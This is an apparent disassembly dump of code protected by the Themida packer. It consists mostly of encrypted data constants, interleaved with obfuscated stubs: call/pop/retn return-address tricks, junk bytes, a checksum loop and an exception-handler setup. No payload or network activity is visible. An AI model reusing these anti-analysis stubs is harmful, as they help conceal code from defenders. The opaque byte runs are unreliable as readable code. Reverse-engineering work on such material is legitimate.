		dd 81042474h, 1C042444h, 46000000h, 6990C356h, 895F7102h
		dd 8B8D6074h, 59D8BFAh,	6A061317h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 76E3C350h
		dd 0F94CB1F6h, 3055BD83h, 0F030613h, 50C85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 9412FB49h, 8B6646A7h, 959529F8h, 83061305h, 16C454BDh
		dd 840F0006h, 4D5h, 10E9h, 360A3800h, 0F761A067h, 8BE18A6Ch
		dd 0AC95237Eh, 54B5FF0Bh, 6A0616C4h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 6F88C353h
		dd 0B3565981h, 8D295F18h, 6130919h, 96995FFh, 6A0613h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 6A7C10C3h, 0D8ADA52Dh, 1C099D8Bh, 85090613h,	6130A01h
		dd 0C448B58Bh, 6A0616h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0CDA2CBC3h, 9A6D4E6Bh, 8E0FB9C2h
		dd 6, 1B1DBD89h, 6C70613h, 10001h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 81C35646h, 0D18589B7h, 96061325h
		dd 50D88B66h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 7A66F9C4h, 9379BA39h, 0E6CABB66h
		dd 0B5FF6DB3h, 616C454h, 3CEEBB66h, 322995FFh, 89560613h
		dd 13151985h, 0B58B5F06h, 616C448h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0C1C35141h,	5D859856h, 0C1E0AF59h
		dd 1E819589h, 858B0613h, 6130631h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 42C35242h, 0CB81D2FFh, 4EA2497Eh
		dd 8689DA8Bh, 0C4h, 8BF8BF0Fh, 131BBD95h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 8BCB06F5h, 133489BDh, 4C28306h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 24C35545h, 0C427192Ch, 8E0F7C97h
		dd 6, 5FBB6651h, 50895BD9h, 52006A20h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 35BD2B2Eh
		dd 8D061309h, 16D8E385h, 0EDBD2306h, 81061322h,	0EF6FDFEFh
		dd 0B8868946h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0AB32C356h,	0FCC85E22h
		dd 1D199D8Bh, 6A0613h, 0D19EEF81h, 0B5FF425Eh, 616C454h
		dd 0FFDF8B66h, 131E9595h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 5D1E76BBh
		dd 0CE8060A4h, 0E585890Eh, 61061320h, 12880F96h, 0E8000000h
		dd 6, 9C24848Fh, 5250A9F2h, 585A310Fh, 0BF66505Fh, 6A964B4Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1C4BC350h, 0FDA8B66h, 198Ah, 14E900h, 756E0000h
		dd 7426501Dh, 0FCED3927h, 38CD7180h, 0BE1AC69Ch, 0B5FFC61Bh
		dd 616C454h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 14h,	0CFC35646h, 0FAEF8166h,	4595FF70h, 6A061321h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 9323C356h, 28002694h, 13E9B3h, 0C87C0000h, 6CBF646Dh
		dd 0D6647E92h, 97541B94h, 7F298F0Ch, 95BD8322h,	61314h
		dd 47840Fh, 0BD8B0000h,	6132201h, 57525096h, 70A8BB66h
		dd 5A310F5Fh, 6A965058h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6ECCC351h, 101E5394h
		dd 2923B216h, 8E9h, 4949B500h, 1D8EE255h, 54B5FF7Bh, 6A0616C4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 3A3BC352h, 553C4225h, 5E972C7h, 0E2000000h
		dd 0FE84194Bh, 5AD95FFh, 6A0613h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 0FABCD8C3h, 0ADBD8B46h
		dd 0FF061311h, 16C454B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 1D4EDB00h
		dd 0EE3279BBh, 860F10D0h, 6, 11E58531h,	95FF0613h, 6131209h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 57C35141h
		dd 1DD9D0Bh, 0BD830613h, 6130511h, 44840F02h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 56E3C350h, 8D9FBB7Ah, 8F0F1CB4h, 6, 15018509h
		dd 858B0613h, 6130F55h,	0DA66CB81h, 0C65BE2h, 41BD8B00h
		dd 0C7061321h, 131E5185h, 6, 57006A00h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 8B66B679h
		dd 0F314E9DAh, 8589FFFFh, 6130F01h, 6AC18Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 5BB830C3h
		dd 24273911h, 0FE84C11h, 41000000h, 0A0D377F5h,	7E39C65Dh
		dd 6EC042C1h, 8B66A000h, 858D5BDEh, 6131EA9h, 66902EB3h
		dd 501CDEBBh, 5820F52h,	0BF000000h, 18F06F17h, 6A905Bh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 6E3C8DC3h, 8166F88Bh, 6ABD33C3h, 0A5BF6600h,	66006A7Fh
		dd 858DFE8Bh, 6175239h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0D1C35646h, 0A6A1E670h, 2EFE1E39h, 85BD8B3Eh
		dd 8306130Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 2DDADC3h, 0B1DC605Dh, 8E9h, 0B5427400h
		dd 0E4BF2C42h, 48950F3h, 56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 46A6A4FDh, 6A006A4Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0A782C355h, 6A6814h, 8ABCBB66h, 87C78166h
		dd 0F195FF19h, 6A061307h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 9D41C352h, 9E127515h
		dd 8B718157h, 1324859Dh, 6A8D8D06h, 6A0616A3h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 0E2F2C352h, 60A34D55h, 0D1FF2BE2h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 56C35141h, 0CEC78144h, 83450363h
		dd 13173DBDh, 850F0106h, 73h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 87C35343h, 0A03CBF34h, 26A7D6Ch
		dd 5BF98B53h, 66525050h, 0F25E9BFh, 0DF8B6631h,	489585Ah
		dd 51006A24h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 0BD1E565Fh, 898A12C9h, 131A0D85h, 33E38106h
		dd 606EDD37h, 61F7B70Fh, 1E9595FFh, 0E9FC0613h,	0D6Eh
		dd 0E8h, 0ED815D00h, 6175243h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 7CC35141h, 8DBD8B6Fh, 6A06132Ch
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1D042444h
		dd 45000000h, 25E5C355h, 982FF8A3h, 0C07830F4h,	0FE860h
		dd 75190000h, 2E7BA36Eh, 0DFF83371h, 79A00FC4h,	0F5FF559h
		dd 8D61FFBFh, 168F5E85h, 8B0F6006h, 6, 34D5BD2Bh, 820F0613h
		dd 1, 0F5061F5h, 1983h,	13E800h, 9BD0000h, 0BEBB3CE8h
		dd 0CF2282CAh, 0E70E2A04h, 0D82BDEB9h, 4895BD8h, 9D9D2324h
		dd 64061325h, 35FFh, 81520000h,	39E733F7h, 11E85B4Ch, 47000000h
		dd 9AC935B5h, 29B83E26h, 41457F82h, 0CA2C5F2Eh,	18F1B589h
		dd 645B0613h, 2589h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0EF1DDAC3h, 0B4B3B77Dh
		dd 0D985FF0Ah, 6A061316h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 8E7BC352h, 9D8BAAD4h
		dd 6132841h, 0AF0FBB66h, 0B70FFF6Ah, 95B5FFF9h,	0BB06131Ah
		dd 7B4C2B5Fh, 31AD95FFh, 24E90613h, 0F9000001h,	5AB700B0h
		dd 800F70E6h, 18h, 13E9h, 2F268D00h, 0F6FBAD06h, 0B8617B6Ch
		dd 0CDEC3E72h, 0D8A7085h, 0C38071E4h, 0F613C10h, 0F283h
		dd 0AE900h, 0EADD0000h,	20BDFF13h, 257954D5h, 52C8B60Fh
		dd 69E76BBBh, 6BA5F2Ah,	66000000h, 0BD8BFB8Bh, 6131689h
		dd 0BABBC18Bh, 0C11B8E28h, 8E904E8h, 97000000h,	496705B5h
		dd 66F3A68Bh, 860FE2F7h, 6, 2D0D9D2Bh, 0BF0F0613h, 0B7C82BF9h
		dd 66D18BE0h, 0DF80D88Bh, 6E932h, 9D8B0000h, 613054Dh
		dd 1095858Bh, 83F50613h, 0DF8107C0h, 776A09CAh,	3B00C083h
		dd 0F830FD0h, 66000000h, 0E9CEFCBBh, 67h, 8747BFF9h, 8D8B1526h
		dd 6131461h, 8D0F5B50h,	16h, 0CE8h, 16051A00h, 0EF93AC5Dh
		dd 0ED1DA093h, 29BF6698h, 0E1835F4Dh, 34840F01h, 51000000h
		dd 5E19529h, 835F0613h,	131461A5h, 9D0BFE06h, 6131675h
		dd 10959589h, 880F0613h, 0Eh, 0E99D8B60h, 0F061330h, 8Fh
		dd 0E96100h, 8D000000h,	16E639B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 1F769AB9h
		dd 2369BD29h, 6A0613h, 6850Fh, 9D8B0000h, 6132D29h, 0DA995FFh
		dd 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 77B5B9C3h, 0D381FA13h, 4B34AFE9h,	0DBEB9h
		dd 0A99D8B00h, 83061311h, 6AFCE1h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 0D20EEFC3h, 0D527205Fh
		dd 6AFCFA8Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 4675C353h, 0CD39C7D2h,	0C02BC270h
		dd 0EE9h, 7F5FB700h, 0D099CD58h, 0CDCDC4D5h, 0BA2C2E3Ch
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5C185F
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C185F	proc near		; CODE XREF: Themida_:005C1857p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C185F	endp

; ---------------------------------------------------------------------------
		db 80h
; ---------------------------------------------------------------------------
		or	[ebp-4EC86D39h], esi
		jmp	loc_5C1880
; ---------------------------------------------------------------------------
		db 11h
		dd 0B1A1EBA0h
; ---------------------------------------------------------------------------


loc_5C1880:				; CODE XREF: Themida_:005C1876j
					; Themida_:005C188Aj
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_5C1880
		push	0
		push	ebp
		call	sub_5C1897
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C1897	proc near		; CODE XREF: Themida_:005C188Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C1897	endp

; ---------------------------------------------------------------------------
		db 0EEh
		dd 0D7B8ECDBh, 0AE839h,	2FF40000h, 863B23E4h, 5F6EB957h
		dd 11BD9D2Bh, 895F0613h, 1328DDBDh, 0DDF8B06h, 88h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D0C35141h, 23395576h
		dd 40DD8B7Eh, 8BF98B66h, 131BBD95h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 0A671CB0Bh
		dd 0DB8195C9h, 73AD2E4Dh, 18DD8D8Bh, 850F0613h,	3, 50DF8B66h
		dd 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h,	6E958h
		dd 0A1730000h, 0A09DDAA9h, 13E9h, 0AA76BF00h, 0E2A1CA07h
		dd 35FA25E2h, 825E818h,	4610EE72h, 3840Fh, 0BF0F0000h
		dd 1DBD83D8h, 6131Dh, 6D840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0A365C2C3h
		dd 3DD254B8h, 21399D89h, 0B80613h, 0E9000000h, 5, 0D39078E0h
		dd 8D8D8DEBh, 8B06134Fh, 1301399Dh, 6AE1FF06h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 854CC357h, 702E9899h, 61BD897Dh, 8306130Bh, 133055BDh
		dd 840F0006h, 439h, 83FAB70Fh, 133055BDh, 840F0106h, 444h
		dd 0A7DBD8Bh, 0BD830613h, 6133055h, 0FB860F03h,	81000003h
		dd 8F262E3h, 6A6053h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 0F95461C3h, 6AD98C66h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 2EFBC357h, 87ABFDF1h, 8B661893h, 199D33FBh, 8006131Ch
		dd 6A04E1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 0AF4F71C3h, 5AF05386h, 0B4BF76DFh, 0A7018A8h
		dd 15840FC9h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 11A7C353h, 29EAB36Dh
		dd 0C099D8Bh, 0F1B30613h, 2BB9858Bh, 6A0613h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 246ABDC3h
		dd 0B98533AAh, 6A061305h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0BFC5C353h,	53230266h
		dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 16042444h, 41000000h, 4FA9C351h, 0FC006AD7h
		dd 48F93268h, 909ABF3Ah, 34813534h, 57FACD24h, 5BD8B3Ah
		dd 66061324h, 0AA43CB81h, 0A3D95FFh, 85890613h,	616C454h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0E2C35545h
		dd 0BD8B805Dh, 61306FDh, 21FE9h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 624A14B9h
		dd 915A3A2Eh, 122ABB66h, 0C44C858Bh, 9D0B0616h,	61324ADh
		dd 1800C7h, 870F0000h, 0Ch, 6800Fh, 0B5090000h,	613282Dh
		dd 0C450B58Bh, 0BD310616h, 6133085h, 2A55858Bh,	6890613h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0CEC35747h
		dd 71BCE59Ah, 8BDD5EF1h, 132BB985h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 0E862D6CAh
		dd 0Fh,	0E31BA175h, 274AA3EFh, 190CC9BFh, 31055847h, 1309898Dh
		dd 46895F06h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 99D49363h, 8D895BE9h, 6131D59h, 0EE9h
		dd 0C4E2FB00h, 0E004FD60h, 0C53ADBCCh, 96B95100h, 0BE857h
		dd 73310000h, 8FC55391h, 0FEE006C8h, 12E978h, 0CB300000h
		dd 6D6FA4A4h, 428362F1h, 0E3328CFAh, 42B54274h,	0BB505B5Fh
		dd 433D6549h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0B70FEF43h, 4CB5FFDEh, 6A0616C4h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 10CDC352h, 1BABB1AFh, 0E8C5923Dh,	46AEBF66h
		dd 0E143C968h, 815F522Bh, 40362434h, 6A2BFEh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 0D69403C3h
		dd 35FB5A44h, 8915393Fh, 1309E5B5h, 54858D06h, 6A0616C4h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 97FDC357h, 65AB2B3Fh, 10599D89h, 57500613h
		dd 57296FBBh, 4895F68h,	0EDBD8B24h, 0FF06130Bh,	130A3D95h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 0BF0FD8CDh, 0CCE780DFh, 0E19D8B61h, 0C7061315h
		dd 13305585h, 306h, 8B0F00h, 60000000h,	0BD8361F9h, 616C454h
		dd 3F840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0FBA1C353h,	0DD25170Ah
		dd 0E12A390Ah, 0CEBAB8BFh, 0BE666055h, 57B98ADDh, 6114D2B4h
		dd 20E9h, 0D446BF00h, 305045E7h, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 0EE9C0h, 34AD0000h
		dd 7D47248Dh, 9FED1A9Fh, 43209B4Ah, 73C38166h, 55BD8375h
		dd 3061330h, 3B5850Fh, 9D010000h, 6132425h, 5F9FB351h
		dd 0C454BD83h, 0F000616h, 39E84h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 9C7326D9h
		dd 4529B533h, 54B5FF4Bh, 6A0616C4h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 2740C351h
		dd 836E95B5h, 5F52F7EEh, 6995FFF8h, 8B061309h, 1321A9BDh
		dd 48B58B06h, 0F0616C4h, 6C7D9BFh, 10001h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0CCC35242h, 0CA311FD1h
		dd 0EF805AABh, 0D88B96ECh, 0FE850h, 6E620000h, 0A310B152h
		dd 0E6733075h, 18FCA532h, 0F98B6609h, 6A965Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 275809C3h, 90C004DDh, 0FFE35F8Bh, 16C454B5h,	0FB8B6606h
		dd 2995FFFCh, 0F061332h, 0B58BFABFh, 616C448h, 6C9ABF66h
		dd 321D9D8Bh, 858B0613h, 6130631h, 5F5BD8Bh, 86890613h
		dd 0C4h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	73C35747h, 0E658D89h, 958B0613h, 6131BBDh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0EDC35747h, 958D37DEh
		dd 0EF816676h, 0C2834413h, 51006A04h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C3240901h
		dd 2D0E5075h, 66205089h, 8DA434BFh, 16D8E385h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1B04h, 0C3524200h
		dd 0EB9E7E6Ch, 16154457h, 59CF781h, 0BD893038h,	6132475h
		dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0E4DCEC3h, 6A6840h, 0FFD8B70Fh
		dd 16C454B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h
		dd 0E76D5D31h, 2729BBAEh, 816676B0h, 0FFA7D9EBh, 131E9595h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 0FA269E53h, 964E1FA8h, 4FD23EBFh, 0B8605031h
		dd 1A236D44h, 395BA66h,	10E99661h, 0C8000000h, 18F9AE72h
		dd 0C6D21F5Ch, 1A81BEE0h, 0FF0E743Fh, 16C454B5h, 0FFDA8B06h
		dd 13214595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0FFC8AE73h, 0F8B70F18h, 83EBC380h
		dd 131495BDh, 840F0006h, 67h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 0CC35141h, 89368411h, 130B4D95h
		dd 8A0F9606h, 0Ah, 0F525060h, 53585A31h, 6650615Bh, 6A96FA8Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0E616C355h, 95DDFEBFh, 2906A1C6h,	130D498Dh
		dd 0FFDF8B06h, 16C454B5h, 6820F06h, 89000000h, 13135995h
		dd 0AD95FF06h, 6A061305h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0CDF5C357h,	0B70F45B3h
		dd 54B5FFDEh, 890616C4h, 13150195h, 995FF06h, 66061312h
		dd 835626BBh, 130511BDh, 840F0206h, 23h, 3045BD8Bh, 858B0613h
		dd 6130F55h, 11158D09h,	0C60613h, 0B5896000h, 6133485h
		dd 23698D8Bh, 0C7610613h, 131E5185h, 6,	48A0F00h, 50000000h
		dd 0E95FFE8Ah, 0FFFFF3F8h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0F9C35747h, 80A2C494h, 0A8222A7h, 0BBC18BF9h
		dd 6DDEBCC4h, 858DFA8Bh, 6131EA9h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 14h, 0DAC35646h,	24048950h, 6AD88Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EFC35242h
		dd 0C1A67907h, 0F460C5DAh, 0C113BB58h, 816642D4h, 6ADFB8F7h
		dd 90858D00h, 0E9061761h, 0Dh, 52CBD6C5h, 0CA55E1ECh, 0B797E517h
		dd 0E5C781EDh, 832D7539h, 6A05C0h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 8B4DF9C3h, 131081BDh
		dd 0BB665006h, 489F57Bh, 859D8B24h, 6A061313h, 10E900h
		dd 0C72B0000h, 606A9178h, 70B66C63h, 16A764D5h,	6A28CFh
		dd 8BFB8B66h, 1309EDBDh, 0F195FF06h, 6A061307h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 57E2C355h, 0F26B7F5h, 68Fh, 9D9D0100h, 8D06130Eh, 16A36A8Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F7B282BAh, 0FF423107h, 0C800FD1h, 0F000000h
		dd 689h, 0E99D8B00h, 8A061331h,	3DBD83DEh, 1061317h, 98850Fh
		dd 81660000h, 6AE983DBh, 51006A02h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 3B77ED22h, 8942253Ah
		dd 133521B5h, 9B58906h,	9006130Fh, 6E9h, 917CAD00h, 50662F06h
		dd 1509BF66h, 52006A90h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0A69A49C4h, 61F8D5ECh, 3E0993BBh
		dd 9595FF18h, 6A06131Eh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 1C23C351h, 20D18D29h
		dd 49E90613h, 0E800000Eh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 617619Ah
		push	0
		push	eax
		call	sub_5C2476
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2476	proc near		; CODE XREF: Themida_:005C246Ep

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_5C2476	endp

; ---------------------------------------------------------------------------
		dec	ebp
		pushf
		lds	ecx, [ebx+132851BDh]
		push	es
		push	0
		push	edx
		call	sub_5C249A
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C249A	proc near		; CODE XREF: Themida_:005C2492p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5C249A	endp

; ---------------------------------------------------------------------------
		dw 0BCEEh
; ---------------------------------------------------------------------------
		mov	al, 42h
		sbb	ebp, ebp
		fmul	qword ptr [ebx-4A42F422h]
		or	[ebx], edx
		push	es
		lea	eax, [ebp+6168F5Eh]
		push	0
		push	esi
		call	sub_5C24CA
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C24CA	proc near		; CODE XREF: Themida_:005C24C2p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5C24CA	endp

; ---------------------------------------------------------------------------
		dw 2665h
		dd 0C1EC32B7h, 0CB8CE920h, 8B575190h, 505B5BD9h, 0EBF6690h
		dd 35FF6424h, 0
; ---------------------------------------------------------------------------
		mov	[ebp+61316C5h],	ebx
		mov	large fs:0, esp
		or	[ebp+61306E9h],	ecx
		inc	dword ptr [ebp+61316D9h]
		mov	edi, ecx


loc_5C2513:				; CODE XREF: Themida_:005C329Dj
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_5C2520
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C2520	proc near		; CODE XREF: Themida_:005C2518p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_5C2520	endp

; ---------------------------------------------------------------------------
		dd 0F2262692h, 29BD973Bh, 131CB99Dh, 31B5FF06h,	6A061328h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1B042444h
		dd 45000000h, 29D0C355h, 0FCF7712Ah, 0BD891A72h, 61329A1h
		dd 31AD95FFh, 30E90613h, 31000001h, 13109DBDh, 2300B006h
		dd 1317119Dh, 8070E606h, 71E456F7h, 0CE853h, 6BE40000h
		dd 0C53638C7h, 4396E534h, 8D29333Eh, 6132B89h, 613C5B5Bh
		dd 0F9830Fh, 9D8B0000h,	6130015h, 60C8B60Fh, 0B5507EBBh
		dd 0ADBD8B45h, 6106131Dh, 6BAh,	5B52900h, 0E8061312h, 14h
		dd 0A8C02CDDh, 553DC445h, 0DAB13CBEh, 70AC4C15h, 8BBC174Bh
		dd 209DBD8Bh, 8B5B0613h, 598589C1h, 0C106130Fh,	0C38104E8h
		dd 1F884C28h, 89E2F766h, 1305C9BDh, 66C82B06h, 55BDDF81h
		dd 6E9D18Bh, 6D000000h,	890B0153h, 0E928h, 858B0000h, 613189Dh
		dd 521F9DBBh, 7C08367h,	1BEFBB66h, 19850Fh, 11E80000h
		dd 6E000000h, 76BCF434h, 6F68EB99h, 2E8C36E1h, 42BB70BCh
		dd 835BF98Bh, 0DE8B00C0h, 830FD03Bh, 14h, 41E9F9h, 0BD8B0000h
		dd 6131E15h, 419D8B51h,	5F061300h, 9CD8D8Bh, 0FA8B0613h
		dd 0F01E183h, 2284h, 0D1952900h, 83061322h, 1309CDA5h
		dd 0BF66FE06h, 95890E90h, 613189Dh, 1F159501h, 0E90613h
		dd 8D000000h, 16F5D4B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 1170B245h, 998D13E0h
		dd 6A006A10h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0FFC8C357h, 130DA995h,	6810F06h
		dd 31000000h, 131059B5h, 8B4B906h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0B5A61C3h
		dd 131391BDh, 0FCE18306h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Dh, 7C35040h, 4977BBE3h, 0A79412FBh, 0DFBF0F46h
		dd 0CE9h, 39F8BD00h, 0C29CD4A8h, 247DCA1Bh, 0FCD98BF7h
		dd 92F38166h, 0B835h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
